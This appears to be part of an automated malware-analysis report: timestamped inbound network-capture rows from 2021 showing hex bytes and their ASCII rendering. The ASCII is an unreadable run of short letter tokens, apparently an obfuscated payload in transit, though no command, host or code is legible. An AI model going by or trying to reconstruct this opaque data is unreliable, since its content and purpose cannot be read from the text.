Data Ascii: W WO zO Psk B zW PPs Wk Wz UL PLW zO PPO PPW lW Pks LL WL Pk sLO zO PPO PPl Lk WU WP Oz 
Ws Ll zs UU PPW PsO PPB LW WL LB zU sOU PPO PPl Pkl LP U Oz Wk Bk WU Ws PPB PkU PPz LW WO LW Wk BU 
PPU Pkz s ssP Wk Oz Ws zU PPP PPO PPl PkL LP Pss OU Wk Oz BU PPB Pkk

2021-10-29 15:55:28 UTC 1266 IN Data Raw: 20 50 50 6c 20 50 6b 55 20 50 73 73 20 73 42 20 55 20 57 6b 20 57 4f 20 55 4f 20 50 73 50 20 50 50 4f 20 42 
55 20 6c 4f 20 57 6b 20 4f 7a 20 57 42 20 73 6c 20 7a 4c 20 50 50 42 20 50 73 6b 20 50 6c 42 20 55 42 20 4f 7a 20 4f 7a 
20 57 6b 20 57 73 20 50 73 4f 20 50 73 73 20 50 50 6c 20 50 6b 55 20 50 50 7a 20 42 73 20 57 57 20 42 57 20 50 57 6c 
20 7a 4f 20 50 50 4f 20 50 50 57 20 50 73 42 20 50 50 42 20 4c 57 20 57 73 20 4f 6c 20 50 7a 6c 20 50 4f 20 50 50 4f 20 
50 50 6c 20 50 6b 7a 20 7a 57 20 73 73 42 20 73 57 4f 20 57 6b 20 57 4f 20 7a 6b 20 55 6b 20 42 42 20 50 6b 55 20 50 50 
73 20 57 42 20 42 6c 20 50 6b 20 57 4f 20 7a 4f 20 50 73 6b 20 73 42 20 73 73 6b 20 50 50 73 20 57 6b 20 57 4f 20 73 6b 
20 4c 73 20 6c 50 20 50 50 55 20 6c 6c 20 50 6c 73 20 50 50 
Data Ascii:  PPl PkU Pss sB U Wk WO UO PsP PPO BU lO Wk Oz WB sl zL PPB Psk PlB UB Oz Oz Wk Ws PsO Pss PPl 
PkU PPz Bs WW BW PWl zO PPO PPW PsB PPB LW Ws Ol Pzl PO PPO PPl Pkz zW ssB sWO Wk WO zk Uk BB PkU 
PPs WB Bl Pk WO zO Psk sB ssk PPs Wk WO sk Ls lP PPU ll Pls PP

2021-10-29 15:55:28 UTC 1267 IN Data Raw: 73 20 42 57 20 7a 20 57 6b 20 57 4f 20 55 4f 20 73 55 20 73 50 6c 20 50 6b 55 20 50 50 73 20 57 73 20 57 42 
20 73 42 20 4f 7a 20 7a 4f 20 50 50 4f 20 50 50 57 20 73 20 6c 4f 20 57 50 20 4f 7a 20 57 73 20 4c 55 20 7a 4c 20 55 6c 
20 50 50 57 20 50 73 4f 20 50 50 7a 20 55 4c 20 57 20 57 50 20 57 4f 20 7a 73 20 50 6b 6b 20 4c 50 20 42 42 20 55 6b 
20 4c 57 20 57 4f 20 73 42 20 50 50 42 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 73 42 20 50 73 6b 20 4c 73 20 57 42 20 4f 
57 20 57 7a 20 50 73 4f 20 4f 55 20 50 50 6c 20 50 6b 55 20 50 73 73 20 4c 4c 20 57 42 20 4c 73 20 42 73 20 50 73 4f 20 
57 4f 20 50 50 6c 20 50 6b 55 20 50 73 73 20 50 55 20 4f 7a 20 50 6c 7a 20 50 4c 50 20 50 42 4c 20 50 4c 57 20 50 6b 20 
73 4f 73 20 50 73 6b 20 50 6b 6c 20 55 57 20 4f 20 57 57 20 
Data Ascii: s BW z Wk WO UO sU sPl PkU PPs Ws WB sB Oz zO PPO PPW s lO WP Oz Ws LU zL Ul PPW PsO PPz UL 
W WP WO zs Pkk LP BB Uk LW WO sB PPB zO PPO Psl PsB Psk Ls WB OW Wz PsO OU PPl PkU Pss LL WB Ls Bs 
PsO WO PPl PkU Pss PU Oz Plz PLP PBL PLW Pk sOs Psk Pkl UW O WW 

2021-10-29 15:55:28 UTC 1268 IN Data Raw: 73 42 20 4f 57 20 50 50 73 20 57 6b 20 57 7a 20 4c 50 20 4f 50 20 42 55 20 50 50 6c 20 50 6b 7a 20 73 73 4f 
20 4f 73 20 57 6b 20 4f 7a 20 57 50 20 50 55 20 50 4c 73 20 50 4f 4f 20 50 50 6c 20 50 6b 55 20 50 50 42 20 73 42 20 6c 
20 57 6b 20 57 4f 20 55 4f 20 50 20 6c 6c 20 50 6b 55 20 50 50 73 20 57 42 20 55 57 20 50 50 4f 20 57 4f 20 7a 4f 20 50 
73 6b 20 7a 55 20 50 6b 4c 20 55 6c 20 57 4c 20 57 42 20 73 42 20 4f 7a 20 7a 4f 20 50 50 4f 20 50 50 57 20 50 73 42 20 
50 50 55 20 42 57 20 4f 42 20 57 50 20 57 4f 20 7a 73 20 55 6c 20 50 73 57 20 50 73 4f 20 50 73 6b 20 4c 57 20 57 73 20 
4c 57 20 57 50 20 6c 7a 20 73 57 57 20 4f 6c 20 50 6b 55 20 50 50 73 20 57 50 20 73 50 20 73 73 42 20 73 6b 7a 20 7a 4f 
20 50 50 4f 20 50 50 4c 20 42 55 20 6c 50 20 57 6b 20 4f 
Data Ascii: sB OW PPs Wk Wz LP OP BU PPl Pkz ssO Os Wk Oz WP PU PLs POO PPl PkU PPB sB l Wk WO UO P ll 
PkU PPs WB UW PPO WO zO Psk zU PkL Ul WL WB sB Oz zO PPO PPW PsB PPU BW OB WP WO zs Ul PsW PsO Ps
k LW Ws LW WP lz sWW Ol PkU PPs WP sP ssB skz zO PPO PPL BU lP Wk O

Timestamp
kBytes
transferred Direction Data
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2021-10-29 15:55:28 UTC 1270 IN Data Raw: 55 20 50 50 73 20 57 42 20 4c 57 20 57 4c 20 42 55 20 50 42 20 50 50 57 20 50 50 6c 20 50 6b 6c 20 55 55 20 
57 7a 20 4c 4c 20 57 7a 20 4c 55 20 7a 6b 20 55 55 20 50 50 73 20 50 50 4f 20 50 73 4f 20 50 55 50 20 50 6b 42 20 57 6b 
20 57 4f 20 7a 57 20 7a 6c 20 50 42 57 20 73 6b 4c 20 50 50 73 20 57 6b 20 57 73 20 73 42 20 50 20 7a 4f 20 50 50 4f 20 
50 73 6c 20 4c 6b 20 6c 73 20 57 6b 20 4f 7a 20 57 42 20 7a 55 20 73 4f 7a 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 4c 50 
20 55 20 4f 7a 20 57 6b 20 42 6b 20 57 55 20 6c 55 20 50 50 42 20 50 6b 55 20 50 50 7a 20 4c 57 20 57 42 20 4c 57 20 
57 6b 20 42 55 20 50 50 55 20 50 6b 42 20 50 50 6c 20 73 57 4c 20 50 6b 4f 20 4f 7a 20 57 6b 20 57 57 20 50 50 4c 20 50 
42 73 20 50 55 73 20 50 6b 55 20 50 50 73 20 57 4f 20 73 4f 
Data Ascii: U PPs WB LW WL BU PB PPW PPl Pkl UU Wz LL Wz LU zk UU PPs PPO PsO PUP PkB Wk WO zW zl PBW 
skL PPs Wk Ws sB P zO PPO Psl Lk ls Wk Oz WB zU sOz PPO PPl Pkl LP U Oz Wk Bk WU lU PPB PkU PPz LW WB 
LW Wk BU PPU PkB PPl sWL PkO Oz Wk WW PPL PBs PUs PkU PPs WO sO

2021-10-29 15:55:28 UTC 1271 IN Data Raw: 57 6b 20 57 4f 20 57 6b 20 4c 20 50 50 50 20 50 50 4f 20 50 50 7a 20 55 7a 20 50 50 73 20 57 6b 20 4f 55 20 
4c 4c 20 42 20 7a 42 20 50 50 4f 20 7a 73 20 50 6b 55 20 50 50 73 20 57 6b 20 57 57 20 57 6b 20 57 4f 20 42 55 20 50 6b 
50 20 50 73 6c 20 50 50 50 20 4c 50 20 50 73 42 20 4f 7a 20 57 6b 20 42 6b 20 55 57 20 7a 55 20 50 6b 6b 20 50 50 50 
20 4c 50 20 50 73 42 20 4f 7a 20 57 6b 20 42 6b 20 55 57 20 50 50 42 20 55 7a 20 57 4c 20 50 73 73 20 57 73 20 4f 6b 
20 4c 20 57 73 20 7a 4c 20 7a 7a 20 50 50 7a 20 50 6b 42 20 4c 50 20 50 73 6c 20 4f 7a 20 57 6b 20 42 6b 20 50 73 6b 2
0 50 4f 7a 20 50 50 4f 20 6c 50 20 50 50 73 20 4f 50 20 6b 20 57 57 20 57 4f 20 50 73 50 20 50 50 57 20 50 50 6c 20 50 6
b 55 20 50 73 6b 20 57 6b 20 4f 7a 20 4c 57 20 6c 73 20 6c 4f 20 
Data Ascii: Wk WO Wk L PPP PPO PPz Uz PPs Wk OU LL B zB PPO zs PkU PPs Wk WW Wk WO BU PkP Psl PPP LP 
PsB Oz Wk Bk UW zU Pkk PPP LP PsB Oz Wk Bk UW PPB Uz WL Pss Ws Ok L Ws zL zz PPz PkB LP Psl Oz Wk Bk Psk 
POz PPO lP PPs OP k WW WO PsP PPW PPl PkU Psk Wk Oz LW ls lO 

2021-10-29 15:55:28 UTC 1272 IN Data Raw: 6b 20 4f 55 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 73 50 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 4f 20 57 
50 20 57 4f 20 7a 4f 20 55 6b 20 50 50 42 20 50 6b 55 20 50 50 73 20 4f 55 20 4f 7a 20 57 6b 20 57 4f 20 55 4f 20 50 50 
4f 20 50 50 6c 20 50 6b 7a 20 50 6b 6c 20 73 20 57 50 20 57 6b 20 6c 57 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 6b 20 
50 50 73 20 57 6b 20 4c 4c 20 42 57 20 6b 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 6b 4c 20 50 50 50 20 4f 57 20 50 7a 55 
20 50 6b 4f 20 57 4f 20 7a 4f 20 50 50 57 20 7a 6b 20 50 7a 55 20 73 73 6b 20 57 6b 20 4f 7a 20 57 4f 20 4c 6b 20 55 55 
20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 4c 20 50 6b 20 4f 7a 20 57 6b 20 42 6b 20 6c 57 20 50 6b 4f 20 55 4c 20 42 4c 20 
50 50 73 20 57 6b 20 57 7a 20 73 42 20 50 6b 50 20 7a 
Data Ascii: k OU Wk WO zO PPO PsP PkU PPs Wk OO WP WO zO Uk PPB PkU PPs OU Oz Wk WO UO PPO PPl Pkz P
kl s WP Wk lW zO PPO PPl Pkk PPs Wk LL BW k zO PPO Psl PkL PPP OW PzU PkO WO zO PPW zk PzU ssk Wk Oz 
WO Lk UU PPO PPl PkL L Pk Oz Wk Bk lW PkO UL BL PPs Wk Wz sB PkP z

2021-10-29 15:55:28 UTC 1274 IN Data Raw: 73 20 50 6b 55 20 50 50 73 20 57 42 20 42 7a 20 4c 6c 20 57 4f 20 7a 4f 20 50 50 57 20 50 73 50 20 50 6b 50 
20 4c 50 20 50 50 6b 20 4f 7a 20 57 6b 20 42 6b 20 4c 7a 20 73 4f 6c 20 50 50 55 20 50 6b 55 20 6b 20 73 42 20 50 6b 55 
20 57 6b 20 57 4f 20 55 4f 20 55 4f 20 50 73 50 20 50 6b 6c 20 50 73 6b 20 55 4c 20 50 50 6b 20 57 6b 20 57 4f 20 55 4f 
20 73 55 20 57 50 20 50 6b 7a 20 50 50 73 20 57 73 20 57 42 20 55 4c 20 50 6b 42 20 7a 4f 20 50 50 4f 20 50 73 6c 20 4c 
50 20 73 57 57 20 4f 7a 20 4f 7a 20 42 42 20 4c 6b 20 55 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 55 73 20 4f 42 20 57 4f 
20 57 73 20 7a 55 20 50 6c 20 50 50 57 20 50 50 6c 20 50 6b 6c 20 73 20 50 6c 50 20 57 6b 20 57 6b 20 6c 6b 20 55 73 
20 73 55 20 4f 4c 20 50 6b 55 20 50 50 73 20 57 42 20 73 4f 
Data Ascii: s PkU PPs WB Bz Ll WO zO PPW PsP PkP LP PPk Oz Wk Bk Lz sOl PPU PkU k sB PkU Wk WO UO UO PsP 
Pkl Psk UL PPk Wk WO UO sU WP Pkz PPs Ws WB UL PkB zO PPO Psl LP sWW Oz Oz BB Lk U PPO PPl PkL Us OB 
WO Ws zU Pl PPW PPl Pkl s PlP Wk Wk lk Us sU OL PkU PPs WB sO

2021-10-29 15:55:28 UTC 1275 IN Data Raw: 20 55 4c 20 4f 4c 20 7a 4f 20 50 50 4f 20 50 73 6c 20 55 6c 20 50 73 6b 20 4f 73 20 4c 55 20 4c 6c 20 50 7a 6c 
20 50 73 20 50 50 4f 20 50 50 6c 20 50 6b 7a 20 7a 57 20 4c 42 20 4f 6c 20 4f 73 20 50 7a 6c 20 50 4f 20 50 50 4f 20 50 
50 6c 20 50 6b 7a 20 7a 57 20 73 73 42 20 73 4f 4f 20 57 6b 20 57 4f 20 7a 6b 20 55 6b 20 42 42 20 50 6b 55 20 50 50 73 
20 57 42 20 42 6c 20 50 6b 20 57 4f 20 7a 4f 20 50 73 6b 20 6c 20 73 73 6b 20 50 50 4f 20 57 6b 20 42 4f 20 6c 42 20 4f 
6b 20 7a 4f 20 50 50 4f 20 50 73 6c 20 42 55 20 50 50 50 20 57 6b 20 4f 7a 20 57 42 20 50 4f 7a 20 50 73 4f 20 50 57 4f 
20 50 50 6c 20 50 6b 55 20 50 50 7a 20 55 4c 20 50 42 20 57 6b 20 57 4f 20 55 4f 20 50 73 6c 20 6c 6c 20 50 42 42 20 50 
50 73 20 57 6b 20 4f 7a 20 4c 73 20 57 4c 20 50 73 4f 
Data Ascii:  UL OL zO PPO Psl Ul Psk Os LU Ll Pzl Ps PPO PPl Pkz zW LB Ol Os Pzl PO PPO PPl Pkz zW ssB sOO Wk 
WO zk Uk BB PkU PPs WB Bl Pk WO zO Psk l ssk PPO Wk BO lB Ok zO PPO Psl BU PPP Wk Oz WB POz PsO PWO 
PPl PkU PPz UL PB Wk WO UO Psl ll PBB PPs Wk Oz Ls WL PsO

2021-10-29 15:55:28 UTC 1276 IN Data Raw: 4f 20 50 73 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 
50 6b 55 20 50 50 73 20 57 73 20 4f 7a 20 57 6b 20 57 4f 20 4f 73 20 50 50 57 20 50 50 6c 20 50 6b 55 20 73 4f 4f 20 57 
50 20 4f 7a 20 57 6b 20 57 4c 20 7a 4f 20 50 50 4f 20 50 50 6c 20 55 7a 20 50 50 73 20 57 6b 20 4f 55 20 4f 50 20 42 20 
7a 73 20 50 50 4f 20 50 42 57 20 50 6b 7a 20 50 50 73 20 57 6b 20 42 50 20 57 6b 20 57 4f 20 42 55 20 50 20 6c 4f 20 50 
6b 55 20 50 50 73 20 57 42 20 57 7a 20 4f 7a 20 4f 50 20 55 6b 20 73 57 57 20 4f 6c 20 50 6b 55 20 50 50 73 20 57 50 20 
73 50 20 73 73 42 20 50 4f 4c 20 7a 4f 20 50 50 4f 20 50 50 4c 20 42 55 20 6c 50 20 57 6b 20 4f 7a 20 57 42 20 42 55 20 
50 6b 7a 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 7a 7a 
Data Ascii: O Psl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Ws Oz Wk WO Os PPW PPl PkU sOO WP Oz Wk WL 
zO PPO PPl Uz PPs Wk OU OP B zs PPO PBW Pkz PPs Wk BP Wk WO BU P lO PkU PPs WB Wz Oz OP Uk sWW Ol 
PkU PPs WP sP ssB POL zO PPO PPL BU lP Wk Oz WB BU Pkz PPO PPl PkL zz

2021-10-29 15:55:28 UTC 1278 IN Data Raw: 20 50 6b 4c 20 4c 50 20 50 57 7a 20 4f 7a 20 57 6b 20 4f 7a 20 57 55 20 6c 4c 20 50 50 6c 20 50 6b 55 20 50 
73 73 20 55 4c 20 7a 20 57 50 20 57 4f 20 7a 73 20 55 55 20 50 50 57 20 50 6b 50 20 55 6c 20 57 4f 20 4f 4c 20 50 55 50 
20 50 6b 7a 20 7a 4f 20 50 50 4f 20 50 50 42 20 6c 73 20 50 42 6b 20 50 4c 4f 20 4f 7a 20 57 6b 20 57 6b 20 50 73 4f 20 
42 55 20 50 50 6c 20 50 6b 55 20 50 73 73 20 42 57 20 7a 20 57 6b 20 57 4f 20 55 4f 20 73 55 20 73 50 6c 20 50 6b 55 
20 50 50 73 20 57 73 20 55 57 20 7a 20 57 57 20 7a 4f 20 50 50 42 20 50 6b 6b 20 50 6b 6c 20 55 55 20 57 57 20 73 4c 
7a 20 4f 55 20 50 42 20 50 4c 7a 20 50 50 4f 20 50 6b 6b 20 50 6b 4f 20 55 73 20 57 7a 20 57 4f 20 4c 57 20 57 50 20 57 
55 20 57 57 20 50 50 6c 20 50 6b 55 20 50 73 73 20 4c 57 20 57 
Data Ascii:  PkL LP PWz Oz Wk Oz WU lL PPl PkU Pss UL z WP WO zs UU PPW PkP Ul WO OL PUP Pkz zO PPO PPB 
ls PBk PLO Oz Wk Wk PsO BU PPl PkU Pss BW z Wk WO UO sU sPl PkU PPs Ws UW z WW zO PPB Pkk Pkl UU WW 
sLz OU PB PLz PPO Pkk PkO Us Wz WO LW WP WU WW PPl PkU Pss LW W

2021-10-29 15:55:28 UTC 1279 IN Data Raw: 4f 20 50 50 6c 20 50 6b 4c 20 55 73 20 57 73 20 57 57 20 4c 6c 20 50 6c 73 20 55 4f 20 7a 55 20 50 50 4c 20 
50 6b 42 20 50 6b 73 20 50 42 7a 20 57 7a 20 73 4c 42 20 57 4c 20 50 50 4f 20 50 6c 73 20 50 50 6c 20 50 6b 6c 20 55 
6b 20 57 6b 20 4f 55 20 4c 4f 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 50 50 73 20 55 6b 20 55 4f 20 57 
6b 20 57 4c 20 55 4f 20 50 50 4f 20 50 50 6c 20 50 6b 7a 20 50 6b 6c 20 73 20 57 73 20 57 6b 20 73 6b 4c 20 7a 57 20 50 
50 4f 20 50 50 6c 20 55 7a 20 50 50 73 20 57 6b 20 4c 4c 20 42 57 20 6b 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 6b 4c 20 
73 20 50 4f 4c 20 57 6b 20 57 6b 20 6c 6b 20 4c 7a 20 7a 6c 20 50 50 7a 20 50 6b 55 20 6b 20 6c 42 20 4f 42 20 57 6b 20 
57 4f 20 55 4f 20 55 6b 20 50 6b 42 20 50 6b 55 20 50 50 73 
Data Ascii: O PPl PkL Us Ws WW Ll Pls UO zU PPL PkB Pks PBz Wz sLB WL PPO Pls PPl Pkl Uk Wk OU LO WO zO 
PPO PPl Pkl PPs Uk UO Wk WL UO PPO PPl Pkz Pkl s Ws Wk skL zW PPO PPl Uz PPs Wk LL BW k zO PPO Psl PkL s 
POL Wk Wk lk Lz zl PPz PkU k lB OB Wk WO UO Uk PkB PkU PPs

Timestamp
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2021-10-29 15:55:28 UTC 1280 IN Data Raw: 57 42 20 73 55 20 7a 6c 20 4c 6b 20 57 73 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 55 6c 20 57 42 20 73 4f 20 
50 73 50 20 57 4f 20 7a 4f 20 50 73 6b 20 73 42 20 50 73 20 50 50 73 20 57 6b 20 57 7a 20 4c 4c 20 57 7a 20 50 73 4f 20 
50 7a 20 50 50 6c 20 50 6b 55 20 50 73 73 20 4c 57 20 57 55 20 73 42 20 50 73 57 20 7a 4f 20 50 50 4f 20 50 73 6c 20 73 
20 50 6c 20 57 6b 20 4f 7a 20 57 42 20 4c 55 20 7a 7a 20 50 6b 50 20 55 6c 20 42 55 20 7a 42 20 57 6b 20 4f 7a 20 57 73 
20 4c 6c 20 7a 55 20 50 6b 50 20 55 6c 20 42 55 20 7a 42 20 57 6b 20 4f 7a 20 57 73 20 4c 6c 20 55 6b 20 55 55 20 50 73 
6b 20 42 55 20 6c 42 20 57 6b 20 4f 7a 20 57 42 20 73 6c 20 50 50 73 20 55 55 20 50 73 4c 20 42 55 20 6c 42 20 57 6b 
20 4f 7a 20 57 42 20 73 6c 20 6c 55 20 50 50 42 20 42 20 4c 
Data Ascii: WB sU zl Lk Ws PPO PPl PkL Ul WB sO PsP WO zO Psk sB Ps PPs Wk Wz LL Wz PsO Pz PPl PkU Pss LW 
WU sB PsW zO PPO Psl s Pl Wk Oz WB LU zz PkP Ul BU zB Wk Oz Ws Ll zU PkP Ul BU zB Wk Oz Ws Ll Uk UU Psk BU 
lB Wk Oz WB sl PPs UU PsL BU lB Wk Oz WB sl lU PPB B L

2021-10-29 15:55:28 UTC 1282 IN Data Raw: 57 4f 20 7a 73 20 55 6b 20 50 73 42 20 50 6b 55 20 50 50 73 20 73 57 20 57 50 20 57 4f 20 57 50 20 55 6b 20 
50 50 7a 20 50 73 4c 20 50 6b 4f 20 50 73 42 20 57 73 20 42 73 20 57 4c 20 57 42 20 55 73 20 50 73 4f 20 50 73 4f 20 55 
55 20 50 73 73 20 55 4c 20 73 6b 4f 20 57 50 20 57 4f 20 7a 73 20 7a 7a 20 6c 20 50 50 50 20 7a 7a 20 4c 55 20 4f 7a 20 
57 6b 20 4f 7a 20 4c 7a 20 55 20 50 50 4c 20 50 6b 55 20 6b 20 73 42 20 73 4c 4c 20 57 6b 20 57 4f 20 7a 73 20 55 6b 20 
50 73 50 20 50 6b 55 20 50 50 73 20 73 57 20 57 50 20 55 4c 20 73 6b 42 20 7a 57 20 50 50 4f 20 50 50 57 20 6c 50 20 
73 73 42 20 4f 7a 20 73 4f 20 4c 55 20 57 4f 20 7a 4f 20 50 50 42 20 6c 20 73 4f 6b 20 50 50 42 20 57 6b 20 42 4f 20 73 
42 20 73 4c 55 20 7a 4f 20 50 50 4f 20 50 50 57 20 42 55 20 
Data Ascii: WO zs Uk PsB PkU PPs sW WP WO WP Uk PPz PsL PkO PsB Ws Bs WL WB Us PsO PsO UU Pss UL skO 
WP WO zs zz l PPP zz LU Oz Wk Oz Lz U PPL PkU k sB sLL Wk WO zs Uk PsP PkU PPs sW WP UL skB zW PPO PPW 
lP ssB Oz sO LU WO zO PPB l sOk PPB Wk BO sB sLU zO PPO PPW BU 

2021-10-29 15:55:28 UTC 1283 IN Data Raw: 20 50 50 55 20 7a 4c 20 50 6c 55 20 50 50 73 20 4c 7a 20 73 42 20 4c 57 20 57 6b 20 50 73 42 20 50 50 4f 20 
50 50 6c 20 50 6b 7a 20 55 42 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 6c 4f 20 50 50 4f 20 50 6c 20 73 4c 55 20 50 50 73 
20 4f 55 20 42 4c 20 57 6b 20 57 4f 20 7a 57 20 50 6b 57 20 42 55 20 50 6b 73 20 50 50 73 20 73 4f 4f 20 4f 7a 20 57 6b 
20 57 4f 20 6c 6b 20 50 50 4f 20 50 50 6c 20 50 73 4f 20 50 50 4f 20 42 4f 20 4f 6c 20 57 57 20 57 4f 20 4c 42 20 6b 20 7a 
73 20 50 6b 4f 20 50 50 73 20 42 42 20 42 42 20 7a 4c 20 57 50 20 7a 4f 20 73 20 55 4c 20 6c 55 20 50 50 73 20 57 6b 20 
57 4f 20 57 42 20 57 73 20 7a 73 20 50 50 4c 20 50 6b 4c 20 50 6b 7a 20 7a 7a 20 50 6c 20 4f 7a 20 57 6b 20 4f 7a 20 7a 
7a 20 55 42 20 50 50 4c 20 50 6b 57 20 50 50 6c 20 42 
Data Ascii:  PPU zL PlU PPs Lz sB LW Wk PsB PPO PPl Pkz UB Wk Oz Wk WO lO PPO Pl sLU PPs OU BL Wk WO zW 
PkW BU Pks PPs sOO Oz Wk WO lk PPO PPl PsO PPO BO Ol WW WO LB k zs PkO PPs BB BB zL WP zO s UL lU PPs 
Wk WO WB Ws zs PPL PkL Pkz zz Pl Oz Wk Oz zz UB PPL PkW PPl B

2021-10-29 15:55:28 UTC 1284 IN Data Raw: 20 50 4c 57 20 57 57 20 57 4f 20 4c 42 20 55 6b 20 7a 50 20 50 6b 55 20 50 50 73 20 57 73 20 4c 7a 20 73 42 
20 42 55 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 6b 4c 20 50 50 7a 20 73 42 20 6c 6b 20 57 6b 20 57 4f 20 55 4f 20 50 73 
50 20 50 50 55 20 50 50 55 20 73 57 4c 20 4c 6c 20 4f 7a 20 57 6b 20 4f 57 20 50 50 4c 20 50 6b 6b 20 7a 57 20 4c 7a 20 
57 73 20 50 50 73 20 50 73 57 20 73 42 20 42 57 20 7a 4f 20 50 50 4f 20 50 73 6c 20 73 6b 6c 20 7a 57 20 4c 6c 20 4c 55 
20 73 42 20 42 57 20 7a 4f 20 50 50 4f 20 50 73 6c 20 73 6b 6c 20 7a 57 20 4f 73 20 57 73 20 50 7a 7a 20 55 57 20 50 73 
4f 20 57 20 50 50 6c 20 50 6b 55 20 50 73 73 20 50 4f 4f 20 73 50 20 4f 4c 20 57 6b 20 73 4f 42 20 55 6b 20 7a 6b 20 50 
6b 55 20 50 50 73 20 57 73 20 42 6b 20 4f 7a 20 57 4c 20 
Data Ascii:  PLW WW WO LB Uk zP PkU PPs Ws Lz sB BU zO PPO Psl PkL PPz sB lk Wk WO UO PsP PPU PPU sWL Ll 
Oz Wk OW PPL Pkk zW Lz Ws PPs PsW sB BW zO PPO Psl skl zW Ll LU sB BW zO PPO Psl skl zW Os Ws Pzz UW 
PsO W PPl PkU Pss POO sP OL Wk sOB Uk zk PkU PPs Ws Bk Oz WL 

2021-10-29 15:55:28 UTC 1286 IN Data Raw: 50 50 50 20 50 50 6c 20 50 6b 55 20 50 50 73 20 4c 4c 20 4f 7a 20 57 6b 20 4c 55 20 7a 42 20 55 4f 20 50 50 
4c 20 50 50 50 20 73 57 4f 20 4c 50 20 57 73 20 4c 7a 20 42 6b 20 50 4c 7a 20 55 7a 20 50 50 55 20 50 6b 57 20 50 50 
57 20 73 42 20 6c 4f 20 57 6b 20 57 4f 20 55 4f 20 50 73 6b 20 50 6c 50 20 50 6b 4f 20 7a 42 20 4c 7a 20 57 7a 20 73 4c 
42 20 57 4f 20 7a 73 20 7a 7a 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 50 20 4c 73 20 57 6b 20 57 4f 20 7a 4f 20 50 50 
4f 20 50 50 6c 20 50 6b 55 20 50 6b 73 20 4c 42 20 4f 7a 20 57 57 20 57 6c 20 7a 4f 20 50 50 4f 20 50 50 42 20 50 73 42 
20 42 4f 20 4f 55 20 4f 7a 20 4c 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 6b 73 20 50 6b 55 20 50 50 73 20 4c 57 20 42 6c 
20 6c 4c 20 57 4f 20 7a 4f 20 50 73 6b 20 55 4c 20 50 6c 20 
Data Ascii: PPP PPl PkU PPs LL Oz Wk LU zB UO PPL PPP sWO LP Ws Lz Bk PLz Uz PPU PkW PPW sB lO Wk WO UO 
Psk PlP PkO zB Lz Wz sLB WO zs zz PPl PkU PPs WP Ls Wk WO zO PPO PPl PkU Pks LB Oz WW Wl zO PPO PPB 
PsB BO OU Oz Lk WO zO PPO Pks PkU PPs LW Bl lL WO zO Psk UL Pl 

2021-10-29 15:55:28 UTC 1287 IN Data Raw: 55 4c 20 50 4c 20 50 50 73 20 57 6b 20 57 7a 20 4f 7a 20 7a 55 20 57 4c 20 50 50 4f 20 50 50 6c 20 50 6b 4c 
20 55 6b 20 57 6b 20 4f 7a 20 4f 50 20 42 20 7a 42 20 50 50 4f 20 55 4f 20 50 6b 55 20 50 50 73 20 57 6b 20 57 4f 20 57 
6b 20 57 4f 20 42 55 20 50 50 73 20 55 4c 20 7a 50 20 50 50 73 20 57 6b 20 57 7a 20 4c 6b 20 42 73 20 4f 73 20 50 6b 7a 
20 50 50 6c 20 50 6b 55 20 50 73 73 20 57 42 20 73 4c 7a 20 4f 4c 20 57 73 20 50 73 4f 20 7a 55 20 50 50 6c 20 50 6b 55 
20 50 50 7a 20 4f 55 20 73 4f 20 73 4f 20 57 4f 20 7a 4f 20 50 50 42 20 55 4c 20 6c 6b 20 50 50 73 20 57 6b 20 57 4f 20 
57 42 20 73 4c 73 20 7a 50 20 7a 4f 20 50 50 55 20 50 6b 4c 20 50 6c 4f 20 57 6b 20 57 4f 20 73 4f 20 57 4f 20 7a 57 20 
55 7a 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 
Data Ascii: UL PL PPs Wk Wz Oz zU WL PPO PPl PkL Uk Wk Oz OP B zB PPO UO PkU PPs Wk WO Wk WO BU PPs UL 
zP PPs Wk Wz Lk Bs Os Pkz PPl PkU Pss WB sLz OL Ws PsO zU PPl PkU PPz OU sO sO WO zO PPB UL lk PPs Wk 
WO WB sLs zP zO PPU PkL PlO Wk WO sO WO zW Uz PPl PkU PPs Wk O

2021-10-29 15:55:28 UTC 1288 IN Data Raw: 20 4c 57 20 50 50 7a 20 50 50 50 20 50 50 20 4f 7a 20 4f 7a 20 57 6b 20 57 6b 20 57 55 20 50 50 4c 20 50 50 
42 20 50 6b 55 20 50 50 7a 20 55 55 20 4c 55 20 57 42 20 73 4c 73 20 7a 7a 20 7a 4f 20 50 50 7a 20 4c 6b 20 73 6c 20 
57 50 20 4f 7a 20 57 73 20 50 6b 4c 20 42 42 20 50 73 6b 20 50 6c 50 20 50 6b 55 20 50 50 7a 20 73 4f 20 4f 7a 20 57 6b 
20 57 57 20 42 7a 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 4f 73 20 4f 42 20 7a 4f 20 50 73 
42 20 50 73 73 20 50 6b 55 20 50 50 73 20 57 50 20 4f 4c 20 73 20 57 73 20 7a 4f 20 50 6b 6b 20 50 50 6c 20 50 6b 55 20 
50 50 73 20 4f 42 20 4f 7a 20 57 6b 20 4c 55 20 7a 42 20 55 20 50 50 55 20 50 6b 55 20 50 50 73 20 57 4f 20 57 50 20 55 
4c 20 57 50 20 7a 57 20 50 50 4f 20 50 50 57 20 50 6b 4c 20 
Data Ascii:  LW PPz PPP PP Oz Oz Wk Wk WU PPL PPB PkU PPz UU LU WB sLs zz zO PPz Lk sl WP Oz Ws PkL BB 
